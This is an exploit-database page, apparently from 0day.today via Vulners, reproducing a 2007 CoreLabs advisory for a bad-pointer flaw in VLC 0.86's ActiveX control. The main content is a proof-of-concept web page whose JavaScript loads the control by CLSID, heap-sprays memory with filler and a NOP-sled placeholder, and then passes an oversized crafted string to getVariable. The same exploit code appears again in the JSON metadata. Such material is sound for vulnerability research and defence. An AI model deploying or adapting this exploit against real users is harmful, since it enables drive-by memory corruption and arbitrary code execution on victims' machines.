Search...

VLC 0.86 < 0.86d ActiveX Remote Bad Pointer Initialization PoC

2007-12-04T00:00:00

ID 1337DAY-ID-6472
Type zdt
Reporter Ricardo Narvaja
Modified 2007-12-04T00:00:00

Description

Exploit for unknown platform in category dos / poc

                                        
                                            ==============================================================
VLC 0.86 &lt; 0.86d ActiveX Remote Bad Pointer Initialization PoC
==============================================================




&lt;!--
       Core Security Technologiess - CoreLabs Advisory
            http://www.coresecurity.com/corelabs

    VLC Activex Bad Pointer Initialization Vulnerability

*Advisory Information*
Title: VLC Activex Bad Pointer Initialization Vulnerability
Advisory ID: CORE-2007-1004
Advisory URL: http://www.coresecurity.com/?action=item&id=2035
Date published: 2007-12-04
Date of last update: 2007-12-03
Vendors contacted: VLC
Release mode: Coordinated Release

*Vulnerability Description*
VLC player is a popular multimedia player for various audio and video
formats, and various streaming protocols.

A vulnerability has been found in the ActiveX control DLL (axvlc.dll)
used by VLC player. This library contains three methods whose parameters
are not correctly checked, and may produce a bad initialized pointer. By
providing these functions specially crafted parameters, an attacker can
overwrite memory zones and execute arbitrary code.

*Vulnerable packages*
VLC media player version 0.86, 0.86a, 0.86b y 0.86c.
--&gt;

&lt;html&gt;
&lt;head&gt;
&lt;object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'
id='target' &gt;&lt;/object&gt;
&lt;/head&gt;
&lt;body&gt;
   &lt;script&gt;
      var mm  = null;

      if( target != null )
      {
         var param1 = unescape("%u0505%u0505");
         var salame = "defaultV";
         var salame2 = 1;
         var salame3 = 0;

         ag   = unescape("%uCCCC%uCCCC");
         sh   =
unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
         sz   = sh.length * 2;
         npsz = 0x400000 - (sz + 0x38);
         nps  = unescape("%u0505%u0505");

         while(nps.length * 2 &lt; npsz) nps += nps;
         ihbc = (0x0E000000 - 0x400000) / 0x400000;
         mm   = new Array();

         for(i = 0; i &lt;= ihbc; i++) mm[i] = nps + sh;

         for(var i=0;i&lt;2000;i++)
            param1 = param1 + unescape("%u0505%u0505");
					
         target.getVariable (param1);
      }
   &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;



#  0day.today [2018-04-09]  #

JSON Vulners Source

Initial Source

{"id": "1337DAY-ID-6472", "lastseen": "2018-04-09T01:49:05", "viewCount": 5, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 2, "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2018-04-09T01:49:05", "rev": 2}, "dependencies": {"references": [], "modified": "2018-04-09T01:49:05", "rev": 2}, "vulnersScore": 0.2}, "type": "zdt", "sourceHref": "https://0day.today/exploit/6472", "description": "Exploit for unknown platform in category dos / poc", "title": "VLC 0.86 < 0.86d ActiveX Remote Bad Pointer Initialization PoC", "cvelist": [], "sourceData": "==============================================================\r\nVLC 0.86 < 0.86d ActiveX Remote Bad Pointer Initialization PoC\r\n==============================================================\r\n\r\n\r\n\r\n\r\n\r\n\r\n<html>\r\n<head>\r\n<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'\r\nid='target' ></object>\r\n</head>\r\n<body>\r\n <script>\r\n var mm = null;\r\n\r\n if( target != null )\r\n {\r\n var param1 = unescape(\"%u0505%u0505\");\r\n var salame = \"defaultV\";\r\n var salame2 = 1;\r\n var salame3 = 0;\r\n\r\n ag = unescape(\"%uCCCC%uCCCC\");\r\n sh =\r\nunescape(\"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%\");\r\n sz = sh.length * 2;\r\n npsz = 0x400000 - (sz + 0x38);\r\n nps = unescape(\"%u0505%u0505\");\r\n\r\n while(nps.length * 2 < npsz) nps += nps;\r\n ihbc = (0x0E000000 - 0x400000) / 0x400000;\r\n mm = new Array();\r\n\r\n for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;\r\n\r\n for(var i=0;i<2000;i++)\r\n param1 = param1 + unescape(\"%u0505%u0505\");\r\n\t\t\t\t\t\r\n target.getVariable (param1);\r\n }\r\n </script>\r\n</body>\r\n</html>\r\n\r\n\r\n\n# 0day.today [2018-04-09] #", "published": "2007-12-04T00:00:00", "references": [], "reporter": "Ricardo Narvaja", "modified": "2007-12-04T00:00:00", "href": "https://0day.today/exploit/description/6472"}

VLC 0.86 &lt; 0.86d ActiveX Remote Bad Pointer Initialization PoC

Description

Exploit for unknown platform in category dos / poc

VLC 0.86 < 0.86d ActiveX Remote Bad Pointer Initialization PoC